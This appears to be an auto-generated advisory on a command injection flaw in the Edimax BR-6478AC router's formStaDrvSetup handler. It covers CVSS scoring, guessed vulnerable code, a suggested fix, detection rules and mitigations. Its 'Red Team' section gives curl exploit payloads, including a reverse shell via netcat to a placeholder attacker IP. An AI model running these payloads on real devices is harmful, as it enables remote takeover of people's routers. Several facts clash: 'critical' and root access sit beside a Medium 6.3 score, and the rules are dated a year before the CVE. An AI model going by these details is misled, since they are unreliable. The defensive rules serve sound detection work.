CVE-2026-10127

Executive Summary

CVE-2026-10127 is a critical command injection vulnerability affecting the Edimax BR-6478AC wireless router running firmware version 1.23. The flaw resides in the formStaDrvSetup handler within the /goform/formStaDrvSetup endpoint, where the rootAPmac POST parameter is improperly sanitized before being passed to a system command. An unauthenticated, remote attacker can exploit this to execute arbitrary operating system commands with root privileges, leading to full device compromise. The exploit has been publicly released, increasing the risk of widespread attacks. No official patch is currently available from Edimax.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Edimax BR-6478AC router). The supply chain risk is limited to the device's firmware distribution channel; users should only obtain firmware from the official Edimax support site and verify checksums if provided.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Some modification of data possible.
• Availability Impact: Low (A:L) – Potential for service disruption.

Threat Level: High (due to public exploit, no patch, and remote unauthenticated access).

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in the formStaDrvSetup handler. The router's web interface accepts a POST request to /goform/formStaDrvSetup with a parameter rootAPmac. This parameter is intended to specify the MAC address of a root access point for wireless bridging. However, the firmware does not validate or sanitize the input before concatenating it into a shell command, such as:

iwconfig wlan0 ap <rootAPmac>

By injecting shell metacharacters (e.g., ;, |, &&, `), an attacker can break out of the intended command and execute arbitrary commands. For example, a payload like 00:11:22:33:44:55;id would execute the id command after the iwconfig call.

The handler runs with root privileges, giving the attacker full control over the device.

Vulnerable vs. Patched Code

Vulnerable Code (Edimax BR-6478AC firmware 1.23):

The vulnerable CGI binary likely contains code similar to:

// Pseudocode for /goform/formStaDrvSetup
void formStaDrvSetup(struct request *req) {
    char mac[32];
    char cmd[256];

    // Directly copy user input without sanitization
    strncpy(mac, req->post("rootAPmac"), sizeof(mac)-1);
    snprintf(cmd, sizeof(cmd), "iwconfig wlan0 ap %s", mac);
    system(cmd);
}

Patched Code (Hypothetical):

A secure version would validate the MAC address format and escape shell metacharacters:

// Secure version
void formStaDrvSetup(struct request *req) {
    char mac[32];
    char cmd[256];
    char *input = req->post("rootAPmac");

    // Validate MAC address format (e.g., XX:XX:XX:XX:XX:XX)
    if (!is_valid_mac(input)) {
        return_error("Invalid MAC address");
        return;
    }

    // Use execve with arguments to avoid shell injection
    snprintf(cmd, sizeof(cmd), "/sbin/iwconfig");
    char *args[] = { "iwconfig", "wlan0", "ap", input, NULL };
    execve(cmd, args, NULL);
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Edimax BR-6478AC with firmware 1.23, web interface accessible.
• Attacker: Any system with network access to the router.

Exploit Steps:

1. Identify Target: Use Shodan or local network scanning to find devices with the default web interface.
2. Craft Payload: Inject commands via the rootAPmac parameter. Example using curl:

curl -X POST http://<router_ip>/goform/formStaDrvSetup \
  -d "rootAPmac=00:11:22:33:44:55;id"

3. Verify Execution: The response may not show output directly, but you can test by creating a file or connecting back:

# Reverse shell (attacker listener: nc -lvnp 4444)
curl -X POST http://<router_ip>/goform/formStaDrvSetup \
  -d "rootAPmac=00:11:22:33:44:55;nc <attacker_ip> 4444 -e /bin/sh"

Exploit-DB Code: None available.

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /goform/formStaDrvSetup with suspicious rootAPmac values containing shell metacharacters (;, |, &, `, $()).
• Look for outbound connections from the router to unusual IPs/ports (potential reverse shells).
• Check for unexpected processes or files on the router (if you have shell access).

Defense:

• Immediate: Disable remote management if not needed. Restrict access to the web interface to trusted IPs only.
• Mitigation: If patching is not possible, use a firewall to block external access to port 80/443 on the router.
• Workaround: Manually edit the firmware's CGI binary to add input validation (advanced, requires firmware modification).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /goform/formStaDrvSetup with rootAPmac containing shell metacharacters.
  • Outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
• Host (on router):
  • Unexpected files in /tmp or /var (e.g., /tmp/.exploit).
  • Unusual processes running (e.g., nc, bash, python).
  • Modified system binaries or configuration files.
• Logs:
  • Router logs showing failed login attempts or unusual POST requests.
  • System log entries with command execution errors.

Detection Engineering

YARA Rule

rule CVE_2026_10127_Edimax_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Edimax BR-6478AC formStaDrvSetup"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-10127"
    strings:
        $http_post = "POST /goform/formStaDrvSetup" ascii wide nocase
        $param = "rootAPmac=" ascii wide nocase
        $shell_meta = /[;&|`$(){}]/
    condition:
        $http_post and $param and #shell_meta > 0
}

Sigma Rule

title: CVE-2026-10127 - Edimax BR-6478AC Command Injection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /goform/formStaDrvSetup with shell metacharacters in rootAPmac parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formStaDrvSetup'
        cs-uri-query|contains: 'rootAPmac='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
        - '}'
    condition: selection and keywords
falsepositives:
    - Legitimate MAC addresses containing special characters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-10127 - Edimax BR-6478AC Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formStaDrvSetup"; http_uri;
    content:"rootAPmac="; http_client_body;
    pcre:"/(?:;|\||\x60|\$\(|\))/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, turn off remote access to the router's web interface.
2. Restrict Access: Use firewall rules to allow only trusted IPs to access the router's management ports (80, 443).
3. Monitor Logs: Enable logging and review for suspicious POST requests to /goform/formStaDrvSetup.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Edimax. Check their support site regularly.
• Manual Workaround: If you have the ability to modify firmware, apply input validation and use parameterized system calls (e.g., execve instead of system).
• Replace Device: Consider replacing the router with a model that receives regular security updates.

Detection Rules: Implement the YARA, Sigma, and Suricata rules provided above in your security monitoring tools.

Valters IT